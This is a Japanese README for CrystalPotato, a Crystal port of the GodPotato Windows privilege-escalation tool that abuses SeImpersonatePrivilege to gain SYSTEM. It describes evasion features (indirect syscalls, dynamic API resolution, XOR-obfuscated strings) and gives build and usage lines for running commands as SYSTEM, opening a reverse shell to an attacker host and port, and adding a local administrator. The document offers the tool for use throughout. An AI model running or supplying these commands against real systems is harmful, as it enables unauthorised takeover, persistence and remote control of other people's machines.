
SeImpersonatePrivilegeを悪用するためのGodPotatoのCrystal移植版。間接システムコール、動的API解決、コンパイル時文字列難読化を備えています。コマンドの実行、リバースシェルの起動、ユーザーの追加が可能です。
GodPotato の Crystal 移植版。SeImpersonatePrivilege を持つアカウントから SYSTEM へのローカル権限昇格を実現します。DCOM OXID Resolver と名前付きパイプの偽装を悪用して動作します。
Windows API は動的に解決され、間接システムコールスタブを介して呼び出されます。すべての文字列はコンパイル時に XOR で難読化され、デフォルトではコマンドの出力のみが表示されます。Windows 10、11、Server 2025 でテスト済みです。
CrystalPotato は Windows 用 Crystal を使用して、依存関係のない単一ファイルにコンパイルされます:
crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static
コマンドを実行するか、リバースシェルを開始するか、ローカル管理者を作成します。
CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>
| Flag | Description |
|---|---|
-c CMD | SYSTEM として実行するコマンド、またはリバースシェル用のシェル(デフォルト: cmd.exe) |
-H HOST | リバースシェルリスナーのホスト |
-P PORT | リバースシェルリスナーのポート |
-u USER | ローカル管理者を作成 - ユーザー名 |
-pw PASS | ローカル管理者を作成 - パスワード |
-p NAME | カスタムパイプ名(デフォルト: Crystal) |
-d | デバッグ出力 |
-dd | 完全なトレース |
-h | ヘルプを表示 |

GodPotato - BeichenDream による元の C# 実装。
RustPotato - safedv による Rust 実装。
SigmaPotato - tylerdotrar による追加機能付き C# 実装。